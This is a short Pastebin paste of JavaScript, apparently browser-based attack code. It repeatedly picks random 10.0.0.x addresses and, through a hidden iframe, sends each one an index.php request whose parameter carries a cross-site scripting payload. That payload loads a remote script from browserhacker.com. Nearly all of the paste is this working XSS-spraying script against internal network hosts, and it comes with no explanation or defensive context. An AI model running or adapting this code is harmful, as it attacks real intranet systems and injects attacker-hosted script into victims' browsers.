Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * This is a JavaScript Scratchpad.
- *
- * Enter some JavaScript, then Right Click or choose from the Execute Menu:
- * 1. Run to evaluate the selected text (Ctrl+R),
- * 2. Inspect to bring up an Object Inspector on the result (Ctrl+I), or,
- * 3. Display to insert the result in a comment after the selection. (Ctrl+L)
- */
- function loadIframe(iframeName, url) {
- if (window.frames[iframeName] ) {
- window.frames[iframeName].location = url;
- return false;
- }
- else return true;
- }
- function do_request() {
- var ip = get_random_ip();
- var exploit_string = '<iframe name=iframe2" id="iframe2" ' +
- 'src="hidden" style="display:none"></iframe> ' +
- '<script src="http://browserhacker.com/xssv.js"></script>';
- loadIframe('iframe2',
- "http://" + ip + "/index.php?param=" + exploit_string);
- }
- function get_random()
- {
- var ranNum= Math.round(Math.random()*255);
- return ranNum;
- }
- function get_random_ip()
- {
- return "10.0.0."+get_random();
- }
- setInterval("do_request()", 10000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement